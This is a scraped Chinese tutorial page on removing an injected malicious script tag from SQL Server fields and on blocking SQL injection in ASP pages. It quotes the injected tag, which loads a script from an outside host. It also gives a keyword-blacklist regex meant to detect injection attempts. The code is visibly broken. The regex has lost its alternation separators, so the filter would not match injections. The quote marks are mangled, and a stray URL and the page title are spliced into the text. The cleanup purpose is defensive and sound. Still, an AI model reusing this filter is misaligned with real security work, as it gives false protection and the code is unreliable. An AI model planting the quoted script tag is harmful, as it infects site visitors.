批量替换sqlserver数据库挂马字段并防范_sqlserver

复制代码 代码如下:

update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>’,”)

复制代码 代码如下:

http://www.gaodaima.com/?p=37478批量替换sqlserver数据库挂马字段并防范_sqlserver

update 表名 set 表项=replace(cast(表项 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ‘,”)

复制代码 代码如下:

update 表名 set 表项=replace(cast(表项 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ‘,”) where id>1 and id<15000

复制代码 代码如下:

<%
Response.Buffer = True ‘缓存页面
‘防范get注入
If Request.QueryString <> “” Then StopInjection(Request.QueryString)
‘防范post注入
If Request.Form <> “” Then StopInjection(Request.Form)
‘防范cookies注入
If Request.Cookies <> “” Then StopInjection(Request.Cookies)
‘正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = “‘;#([/s/b+()]+(selectupdateinsertdeletedeclare@execdbccalterdropcreatebackupifelseendandoraddsetopencloseusebeginretunasgoexists)[/s/b+]*)”
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write “<Script Language=JavaScript>alert(‘非法注入！你的行为已被记录！！’);history.back(-1);</Script>”
Response.End
End If
Next
Set regEx = Nothing
End function
%>